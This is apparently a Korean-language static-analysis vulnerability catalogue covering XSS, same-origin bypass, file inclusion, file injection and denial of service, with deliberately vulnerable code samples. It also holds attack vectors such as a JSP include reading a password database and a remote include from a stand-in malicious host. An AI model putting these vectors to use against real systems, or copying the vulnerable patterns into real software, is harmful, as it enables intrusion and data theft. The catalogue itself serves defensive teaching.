계: Input Validation and Representation

입력 검증 및 표현 문제는 메타 문자, 대체 인코딩 및 숫자 표현 때문에 발생합니다. 보안 문제는 입력을 신뢰하기 때문에 발생합니다. 문제로는 "Buffer Overflows", "Cross-Site Scripting" 공격, "SQL Injection", 그 외 여러 가지가 있습니다.

175 개 항목 찾음
취약점
Abstract
검증되지 않은 데이터를 웹 브라우저에 보내면 브라우저가 악성 코드를 실행하는 결과를 초래할 수 있습니다.
Explanation
XSS(Cross-Site Scripting) 취약점은 다음 경우에 발생합니다.

1. 신뢰할 수 없는 소스를 통해 데이터가 웹 응용 프로그램에 입력됩니다. 자체 XSS의 경우에는 텍스트 상자나 DOM에서 제어할 수 있는 기타 값에서 데이터를 읽어들인 다음 클라이언트 측 코드를 사용하여 페이지에 데이터를 다시 작성합니다.


2. 데이터는 검증 없이 웹 사용자에게 전달된 동적 콘텐트에 포함됩니다. 자체 XSS의 경우 악성 콘텐트가 DOM(Document Object Model) 수정의 일부로 실행됩니다.

자체 XSS의 경우 악성 콘텐트는 JavaScript 세그먼트 형식이거나 브라우저에서 실행되는 기타 코드 유형입니다. 자체 XSS는 기본적으로 자기 자신에 대한 공격이므로 중요하지 않은 것으로 간주되는 경우가 많습니다. 하지만 다음 상황 중 하나가 발생할 수 있는 경우에는 표준 XSS 취약점과 동일하게 취급해야 합니다.

- 웹 사이트에서 Cross-Site Request Forgery 취약점이 식별되는 경우
- 소셜 엔지니어링 공격으로 인해 사용자가 자신의 계정을 직접 공격하여 세션 보안을 침해할 수 있는 경우
예제 1: 다음의 HTML 형식을 고려해 보십시오.


<div id="myDiv">
Employee ID: <input type="text" id="eid"><br>
...
<button>Show results</button>
</div>
<div id="resultsDiv">
...
</div>


다음 jQuery 코드 세그먼트는 텍스트 상자에서 직원 ID를 읽고 사용자에게 표시합니다.


$(document).ready(function(){
$("#myDiv").on("click", "button", function(){
var eid = $("#eid").val();
$("resultsDiv").append(eid);
...
});
});


이러한 코드 예제는 ID가 eid인 텍스트 입력에서 직원 ID에 표준 영숫자 텍스트만 있으면 올바로 동작합니다. eid가 메타 문자나 소스 코드가 포함된 값을 갖는 경우에는 사용자가 버튼을 클릭하고 나면 브라우저가 실행하도록 코드가 DOM에 추가됩니다. 사용자가 텍스트 입력에 악성 콘텐트를 입력하도록 공격자가 유도할 수 있다면 해당 XSS는 DOM-based XSS에 불과합니다.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Jesse Kornblum Don't Be a Self XSS Victim Facebook
[4] Hans Petrich Weaponizing self-xss Silent Break Security
[5] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1
[6] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
[7] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 1
[8] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 5
[9] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[10] Standards Mapping - CIS Kubernetes Benchmark complete
[11] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[12] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[13] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[14] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[15] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[16] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[17] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[18] Standards Mapping - FIPS200 SI
[19] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[20] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[21] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[22] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[23] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[25] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[26] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[27] Standards Mapping - OWASP Top 10 2021 A03 Injection
[28] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[29] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[30] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[31] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[34] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[35] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[36] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[37] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[38] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[39] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[40] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[41] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[42] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[43] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[44] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[45] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[46] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[62] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[63] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[64] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[65] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[66] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[67] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[68] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.javascript.cross_site_scripting_self
Abstract
사용자 입력이 SOP(동일 출처 정책)를 결정하는 설정을 제어하도록 허용하면 XSS 취약점이 발생할 수 있습니다.
Explanation
SOP(동일 출처 정책) 무시를 통해 XSS(Cross-Site Scripting) 취약점이 발생하는 경우:

1. 신뢰할 수 없는 소스를 통해 데이터가 웹 응용 프로그램에 입력됩니다.


2. 데이터는 스크립트가 실행될 수 있는 페이지의 출처를 결정하는 설정으로 전달됩니다(예: document.domain).

이 작업이 수행되면, 다른 도메인의 공격자가 document.domain을 동일하게 설정하고 정확히 동일한 도메인에 있는 것처럼 페이지에서 스크립트를 실행할 수 있습니다.

예제 1: 다음은 URL 매개 변수 domain을 사용하여 페이지의 SOP(동일 출처 정책)에 대한 도메인으로 전달합니다.


<SCRIPT>
var pos = document.URL.indexOf("domain=")+7;
document.domain = document.URL.substring(pos,document.URL.length);
</SCRIPT>


대부분의 브라우저는 유효한 수퍼도메인만 document.domain에 전달하도록 허용합니다. 따라서 페이지가 "http://www.example.com"에 있으면 document.domain을 "www.example.com"이나 "example.com"으로 설정할 수 있습니다. "com"이나 "example.org"로는 설정할 수 없습니다.
하지만 공격자가 자신이 제어할 수 있는 웹 사이트의 다른 부분에 있는 경우, 이들이 제어할 수 없는 사이트의 부분에서 스크립트를 실행할 수도 있습니다.
References
[1] Standards Mapping - CIS Azure Kubernetes Service Benchmark 5
[2] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
[3] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 5
[4] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[5] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[6] Standards Mapping - CIS Kubernetes Benchmark complete
[7] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[8] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[11] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[12] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[13] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[14] Standards Mapping - FIPS200 SI
[15] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[16] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[17] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[25] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[26] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[34] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[37] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[38] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[39] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[40] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[41] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[63] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.javascript.cross_site_scripting_SOP_bypass
Abstract
확인되지 않은 사용자 입력이 HTML 파일에 동적으로 포함되는 파일을 제어하도록 허용하면 악성 코드가 실행될 수 있습니다.
Explanation
많은 최신 웹 스크립팅 언어는 하나의 캡슐화 파일 내에 추가 소스 파일을 포함하는 기능을 통해 코드 재사용 및 모듈화를 가능하게 합니다. 이 기능은 표준 모양 및 느낌을 응용 프로그램에 적용하거나(템플레이팅) 컴파일된 코드를 필요로 하지 않고 함수를 공유하거나 코드를 더 작은 관리하기 쉬운 파일로 분할하는 데 주로 사용됩니다. 포함된 파일은 상위 파일의 일부로 해석되고 같은 방법으로 실행됩니다. File inclusion 취약점은 포함된 파일의 경로가 확인되지 않은 사용자 입력에 의해 제어될 때 발생합니다.

예제 1: 다음 코드는 사용자 지정 템플릿 이름을 사용하고 렌더링된 HTML 페이지에 포함합니다.


...
ClientScript.RegisterClientScriptInclude("RequestParameterScript", HttpContext.Current.Request.Params["includedURL"]);
...
Example 1에서 공격자는 프로그램이 외부 사이트의 파일을 포함하도록 만드는 includedURL에 대한 악성 값을 제공하여 동적 include 문을 완전히 제어할 수 있습니다.

공격자가 동적 include 문에 올바른 파일을 지정하면 .NET은 해당 파일의 내용을 사용자에게 보낸 HTML 파일에 삽입합니다. web.config와 같은 일반 텍스트 파일의 경우, 파일은 HTML 출력의 일부로 렌더링될 수 있습니다. 심지어 공격자가 자신이 제어하는 원격 사이트의 경로를 지정할 수 있는 경우에는 동적 include 문이 공격자가 제공한 임의의 악성 코드를 실행하게 됩니다.
desc.dataflow.dotnet.dangerous_file_inclusion
Abstract
확인되지 않은 사용자 입력이 JSP에 동적으로 포함되는 파일을 제어하면 악성 코드가 실행될 수 있습니다.
Explanation
많은 최신 웹 스크립팅 언어는 하나의 캡슐화 파일 내에 추가 소스 파일을 포함하는 기능을 통해 코드 재사용 및 모듈화를 가능하게 합니다. 이 기능은 표준 모양 및 느낌을 응용 프로그램에 적용하거나(템플레이팅) 컴파일된 코드를 필요로 하지 않고 함수를 공유하거나 코드를 더 작은 관리하기 쉬운 파일로 분할하는 데 주로 사용됩니다. 포함된 파일은 상위 파일의 일부로 해석되고 같은 방법으로 실행됩니다. File inclusion 취약점은 포함된 파일의 경로가 확인되지 않은 사용자 입력에 의해 제어될 때 발생합니다.

예제 1: 다음은 Local File Inclusion 취약점의 예입니다. 샘플 코드는 사용자 지정 템플릿 이름을 사용하고 렌더링할 JSP 페이지에 포함시킵니다.

...
<jsp:include page="<%= (String)request.getParameter(\"template\")%>">
...

공격자가 동적 include 문에 올바른 파일을 지정하면 해당 파일의 내용이 페이지에 렌더링되도록 JSP 인터프리터에 전달됩니다.

vector of the form 공격이 발생하는 경우,

specialpage.jsp?template=/WEB-INF/database/passwordDB

JSP 인터프리터는 /WEB-INF/database/passwordDB 파일의 내용을 JSP 페이지에 렌더링하여 시스템 보안을 손상시킵니다.

심지어 공격자가 자신이 제어하는 원격 사이트의 경로를 지정할 수 있는 경우에는 동적 include 문이 공격자가 제공한 임의의 악성 코드를 실행하게 됩니다.

예제 2: 샘플 코드는 c:import 태그를 사용하여 사용자 지정된 원격 파일을 현재 JSP 페이지로 가져옵니다.

...
<c:import url="<%= request.getParameter("privacy")%>">
...

vector of the form 공격은

policy.jsp?privacy=http://www.malicioushost.com/attackdata.js

공격자가 제어하는 원격 사이트에서 현재 JSP 페이지로 악성 코드를 삽입할 수 있습니다.
desc.dataflow.java.dangerous_file_inclusion
Abstract
확인되지 않은 사용자 입력이 PHP에 동적으로 포함된 파일을 제어하도록 허용하면 악성 코드가 실행될 수 있습니다.
Explanation
많은 최신 웹 스크립팅 언어는 하나의 캡슐화 파일 내에 추가 소스 파일을 포함하는 기능을 통해 코드 재사용 및 모듈화를 가능하게 합니다. 이 기능은 표준 모양 및 느낌을 응용 프로그램에 적용하거나(템플레이팅) 컴파일된 코드를 필요로 하지 않고 함수를 공유하거나 코드를 더 작은 관리하기 쉬운 파일로 분할하는 데 주로 사용됩니다. 포함된 파일은 상위 파일의 일부로 해석되고 같은 방법으로 실행됩니다. File inclusion 취약점은 포함된 파일의 경로가 확인되지 않은 사용자 입력에 의해 제어될 때 발생합니다.

File inclusion 취약점은 PHP 응용 프로그램에서 가장 많고 심각한 취약점 중 하나입니다. PHP 4.2.0 이전 버전에서 PHP 설치는 기본적으로 활성화된 register_globals 옵션과 함께 제공됩니다. 이는 공격자가 내부 서버 변수를 쉽게 덮어쓸 수 있습니다. register_globals를 비활성화하면 file inclusion 취약점에 대한 프로그램의 노출을 제한할 수 있지만 이러한 문제는 요즘의 PHP 응용 프로그램에서도 발생합니다.

예제 1: 다음 코드는 템플릿의 $server_root가 정의된 응용 프로그램에 있는 파일을 포함합니다.


...
<?php include($server_root . '/myapp_header.php'); ?$gt;
...
register_globalson으로 설정되어 있으면 공격자는 $server_root를 요청 매개 변수로 제공하여 동적 include 문을 부분적으로 제어함으로써 $server_root 값을 덮어쓸 수 있습니다.

예제 2: 다음 코드는 사용자 지정 템플릿 이름을 사용하고 렌더링할 PHP 페이지에 포함합니다.


...
<?php include($_GET['headername']); ?$gt;
...
Example 2에서 공격자는 프로그램이 외부 사이트의 파일을 포함하도록 만드는 headername에 대한 악성 값을 제공하여 동적 include 문을 완전히 제어할 수 있습니다.

공격자가 동적 include 문에 올바른 파일을 지정하면 이 파일의 내용이 PHP 인터프리터에 전달됩니다. /etc/shadow와 같은 일반 텍스트 파일의 경우, 파일은 HTML 출력의 일부로 렌더링될 수 있습니다. 심지어 공격자가 자신이 제어하는 원격 사이트의 경로를 지정할 수 있는 경우에는 동적 include 문이 공격자가 제공한 임의의 악성 코드를 실행하게 됩니다.
References
[1] Using Register Globals PHP Guide
desc.dataflow.php.dangerous_file_inclusion
Abstract
공격자가 임의의 콘텐트가 있는 시스템에서 파일을 만들 수 있습니다.
Explanation
공격자가 임의의 콘텐트가 있는 서버의 파일 시스템에서 파일을 만들 수 있습니다. 생성된 파일은 파일에 삽입된 콘텐트 제어 기능에 따라 공격자가 추가 공격을 수행하기 위해 나중에 사용될 수 있습니다.

공격자가 파일 콘텐트를 제어할 수 있고 웹 서버에서 파일을 제공하는 경우 서버에서 원격으로 임의의 명령을 실행할 수 있는 악성 웹 셸을 삽입할 수 있습니다.

공격자가 파일 시스템에서 다른 파일 콘텐트로 파일을 만들 수 있는 경우 취약한 응용 프로그램의 권한을 사용하여 접근할 수 있는 파일 시스템에서 임의의 파일을 읽을 수 있습니다.
References
[1] Exploit PHP’s mail() to get remote code execution
desc.dataflow.php.dangerous_file_injection
Abstract
공격자가 프로그램을 중단할 수 있게 되거나 정식 사용자가 이용할 수 없게 됩니다.
Explanation
공격자가 응용 프로그램에 요청을 과도하게 보내어 정식 사용자에 대한 서비스를 거부할 수도 있으나 플러딩(flooding) 공격은 네트워크 계층에서 무산되는 경우도 있습니다. 더 심각한 문제는 적은 수의 요청으로 공격자가 응용 프로그램을 과부화하도록 허용하는 버그입니다. 이러한 버그는 해당 요청이 사용되는 시스템 자원의 수치 또는 이 수치를 사용하는 기간을 공격자가 지정하여 리소스 소모 조건을 생성하도록 허용합니다.

예제 1: 다음 코드는 현재 작업 프로세스가 절전 모드로 있을 시간을 사용자가 지정하도록 허용합니다. 공격자는 큰 수를 지정하여 작업 프로세스를 무기한으로 지연시킬 수 있습니다.


...
CALL FUNCTION 'ENQUE_SLEEP'
EXPORTING
SECONDS = usrInput.
...
desc.dataflow.abap.denial_of_service
Abstract
공격자가 프로그램 충돌을 야기하거나 합법적인 사용자에게 프로그램이 제공되지 않도록 만들 수 있습니다.
Explanation
공격자가 응용 프로그램에 요청을 과도하게 보내어 정식 사용자에 대한 서비스를 거부할 수도 있으나 플러딩(flooding) 공격은 네트워크 계층에서 무산되는 경우도 있습니다. 더 큰 문제는 적은 수의 요청으로 응용 프로그램 과부하를 일으키는 것을 가능하게 하는 버그에 있습니다. 이러한 버그를 통해 공격자는 요청에 사용될 시스템 리소스의 양 또는 사용 기간을 지정할 수 있습니다.

기본적으로 ASP.NET은 HttpRequest.Files, HttpRequest.Form, HttpRequest.Cookies, HttpRequest.QueryString, HttpRequest.Headers, HttpRequest.ServerVariables와 같은 클라이언트 제공 사전의 크기를 1000으로 제한합니다. 이 크기는 구성 파일에서 aspnet:MaxHttpCollectionKeys 설정을 사용하여 늘리거나 줄일 수 있습니다. 그러나 크기를 더 큰 값으로 늘리면 DoS 공격의 가능성이 높아집니다.

예제 1: 다음 예에서, aspnet:MaxHttpCollectionKeys2147483647로 설정됩니다.

...
<appSettings>
<add key="aspnet:MaxHttpCollectionKeys" value="2147483647" />
</appSettings>
...
References
[1] ASP.NET appSettings Element Microsoft
desc.configuration.dotnet.denial_of_service
Abstract
공격자가 프로그램을 중단할 수 있게 되거나 정식 사용자가 이용할 수 없게 됩니다.
Explanation
공격자가 응용 프로그램에 요청을 과도하게 보내어 정식 사용자에 대한 서비스를 거부할 수도 있으나 플러딩(flooding) 공격은 네트워크 계층에서 무산되는 경우도 있습니다. 더 심각한 문제는 적은 수의 요청으로 공격자가 응용 프로그램을 과부화하도록 허용하는 버그입니다. 이러한 버그는 해당 요청이 사용되는 시스템 자원의 수치 또는 이 수치를 사용하는 기간을 공격자가 지정하도록 허용합니다.

예제 1: 다음 코드는 현재 프로세스가 절전 모드로 있을 시간을 사용자가 지정하도록 허용합니다. 공격자는 큰 수를 지정하여 프로세스를 무기한으로 지연시킬 수 있습니다.


unsigned int usrSleepTime = uatoi(usrInput);
sleep(usrSleepTime);
desc.dataflow.cpp.denial_of_service
Abstract
공격자가 프로그램을 중단할 수 있게 되거나 정식 사용자가 이용할 수 없게 됩니다.
Explanation
공격자가 응용 프로그램에 요청을 과도하게 보내어 정식 사용자에 대한 서비스를 거부할 수도 있으나 플러딩(flooding) 공격은 네트워크 계층에서 무산되는 경우도 있습니다. 더 심각한 문제는 적은 수의 요청으로 공격자가 응용 프로그램을 과부화하도록 허용하는 버그입니다. 이러한 버그는 해당 요청이 사용되는 시스템 자원의 수치 또는 이 수치를 사용하는 기간을 공격자가 지정하도록 허용합니다.

예제 1: 다음 코드는 스레드가 절전 모드인 시간을 사용자가 지정하도록 허용합니다. 공격자는 큰 수를 지정하여 스레드를 무기한으로 지연시킬 수 있습니다. 적은 수의 요청으로 공격자가 응용 프로그램의 스레드 풀을 고갈시킬 수 있습니다.


Sleep(url.duration);
desc.dataflow.cfml.denial_of_service
Abstract
공격자가 프로그램 충돌을 야기하거나 합법적인 사용자에게 프로그램이 제공되지 않도록 만들 수 있습니다.
Explanation
공격자가 응용 프로그램에 요청을 과도하게 보내어 정식 사용자에 대한 서비스를 거부할 수도 있으나 플러딩(flooding) 공격은 네트워크 계층에서 무산되는 경우도 있습니다. 더 큰 문제는 적은 수의 요청으로 응용 프로그램 과부하를 일으키는 것을 가능하게 하는 버그에 있습니다. 이러한 버그를 통해 공격자는 요청에 사용될 시스템 리소스의 양 또는 사용 기간을 지정할 수 있습니다.

예제 1: 다음 코드를 통해 사용자는 Future 함수가 실행되는 기간을 지정할 수 있습니다. 함수 실행 기간을 길게 지정하면 공격자가 Future 함수 실행을 무기한 중지시킬 수 있습니다.


final duration = Platform.environment['DURATION'];
Future.delayed(Duration(seconds: int.parse(duration!)), () => ...);
desc.dataflow.dart.denial_of_service
Abstract
공격자가 프로그램을 중단할 수 있게 되거나 정식 사용자가 이용할 수 없게 됩니다.
Explanation
공격자가 응용 프로그램에 요청을 과도하게 보내어 정식 사용자에 대한 서비스를 거부할 수도 있으나 플러딩(flooding) 공격은 네트워크 계층에서 무산되는 경우도 있습니다. 더 심각한 문제는 적은 수의 요청으로 공격자가 응용 프로그램을 과부화하도록 허용하는 버그입니다. 이러한 버그는 해당 요청이 사용되는 시스템 자원의 수치 또는 이 수치를 사용하는 기간을 공격자가 지정하도록 허용합니다.

예제 1: 다음 코드는 스레드가 절전 모드인 시간을 사용자가 지정하도록 허용합니다. 공격자는 큰 수를 지정하여 스레드를 무기한으로 지연시킬 수 있습니다. 적은 수의 요청으로 공격자가 응용 프로그램의 스레드 풀을 고갈시킬 수 있습니다.


int usrSleepTime = Integer.parseInt(usrInput);
Thread.sleep(usrSleepTime);
예제 2: 다음 코드는 zip 파일에서 문자열을 읽습니다. 이 코드에서는 readLine() 메서드를 사용하기 때문에 범위 지정 없는 입력 양을 읽습니다. 공격자가 OutOfMemoryException을 발생시키거나 대량의 메모리를 소모하도록 이 코드를 이용할 수 있으므로 프로그램이 가비지 수집(garbage collection)을 수행하는 데 더 많은 시간을 소모하거나 이후의 일부 작업 중에 메모리가 부족해집니다.


InputStream zipInput = zipFile.getInputStream(zipEntry);
Reader zipReader = new InputStreamReader(zipInput);
BufferedReader br = new BufferedReader(zipReader);
String line = br.readLine();
References
[1] DOS-1: Beware of activities that may use disproportionate resources Oracle
desc.dataflow.java.denial_of_service
Abstract
공격자가 프로그램을 중단할 수 있게 되거나 정식 사용자가 이용할 수 없게 됩니다.
Explanation
